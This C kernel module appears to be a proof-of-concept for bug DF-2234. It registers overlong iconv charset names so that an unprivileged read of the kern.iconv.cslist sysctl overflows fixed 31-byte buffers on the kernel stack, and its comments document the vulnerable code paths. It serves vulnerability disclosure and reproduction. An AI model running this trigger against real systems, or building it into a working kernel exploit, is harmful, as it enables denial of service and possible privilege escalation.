DF-2234 / longcs.c
/* * DF-2234 -- trigger rig (KLD). * * Registers an iconv charset pair whose to/from names are far longer than * ICONV_CSNMAXLEN (31) through the exported kernel helper iconv_add(). * iconv_add() -> iconv_register_cspair() performs NO length validation * (sys/libiconv/iconv.c:179-216); the names are stored verbatim in the * heap cspair. * * After this module is loaded, ANY user (the cslist sysctl is CTLFLAG_RD, * no privilege needed) who reads kern.iconv.cslist drives * iconv_sysctl_cslist() (sys/libiconv/iconv.c:359-379) which does * * strcpy(csi.cs_to, csp->cp_to); // csi.cs_to is char[31] * strcpy(csi.cs_from, csp->cp_from); // csi.cs_from is char[31] * * into the on-stack `struct iconv_cspair_info csi` -> kernel stack buffer * overflow with the registered name bytes. * * Note: the strcpy pair runs on EVERY walk iteration, including the * oldptr==NULL sizing pass of any sysctl read (kern_sysctl.c * sysctl_old_user returns 0 and just bumps oldidx), so even * `sysctl kern.iconv.cslist` with no buffer triggers it. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <sys/iconv.h> #define LONGLEN 200 static const char long_to[LONGLEN + 1] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; static const char long_from[LONGLEN + 1] = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; static int longcs_handler(module_t mod, int type, void *data) { int error; switch (type) { case MOD_LOAD: error = iconv_add("UTF-16BE", long_to, long_from); if (error) kprintf("longcs: iconv_add failed: %d\n", error); else kprintf("longcs: registered %d-byte charset names\n", LONGLEN); return (error); case MOD_UNLOAD: return (0); default: return (EOPNOTSUPP); } } static moduledata_t longcs_mod = { "longcs", longcs_handler, NULL }; DECLARE_MODULE(longcs, longcs_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_DEPEND(longcs, libiconv, 2, 2, 2); |